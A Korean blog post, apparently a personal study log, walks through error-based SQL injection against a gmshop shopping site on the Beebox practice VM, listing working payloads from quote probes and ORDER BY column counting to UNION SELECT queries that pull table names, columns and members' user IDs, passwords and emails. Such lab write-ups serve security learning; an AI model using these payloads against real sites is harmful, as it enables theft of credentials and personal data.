본문 바로가기
Security Project

41. Error based SQL Injection 실습

by 귀멸 2023. 1. 11.

Beebox에 설치한 gmshop 쇼핑몰 웹페이지

 

1. Injection Vector를 찾는다.

자유 게시판 게시글 Search에서 SQL Injection 여부 확인

'

' or 1=1#

' or 1=2#

싱글 쿼터, 참 거짓 조건 입력을 통해 웹 반응으로 injection 가능 vector 확인

에러 메세지를 보여주며, 참 거짓 조건에 따른 반응 페이지가 달라 모든 injection 방법이 가능하다.

이런 경우는 Error based로 진행.

 

2. order by 쿼리문으로 게시판의 컬럼 개수를 찾아낸다.

' order by 1#

' order by 2#

' order by 3#

....  N번째 컬럼 순으로 정렬을 의미한다. 컬럼 숫자보다 더 높은 번호를 넣으면 에러 송출

 

25번째 컬럼은 존재하지 않는다. 따라서 컬럼의 개수가 24개,
웹에서 보여지는 컬럼보다 훨씬 많은 수의 컬럼이 DB안에 저장되어 있음을 알 수 있다.

 

3. union 쿼리문을 이용해 페이지에 보여지는 컬럼은 어떤 컬럼 인지 찾아낸다.

여기서 부터는 메모장 이용

0' UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24'#

3,4,8,7 번 컬럼이 페이지에 나타남을 알 수 있다. 따라서 해당하는 컬럼에 알고 싶은 정보를 질의한다.

 

4. union 쿼리문으로 정보 추출

0' UNION SELECT '1', '2', table_name, '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24' from information_schema.tables#    : table name 추출

 

0' UNION SELECT '1', '2', column_name, '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24' from information_schema.columns where table_name='member' #   : member table의 column 추출

 

0' UNION SELECT '1', '2', pwd, userid, '5', '6', email, '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24' from member #   : member 중 해당하는 컬럼 값 추출

 

 

댓글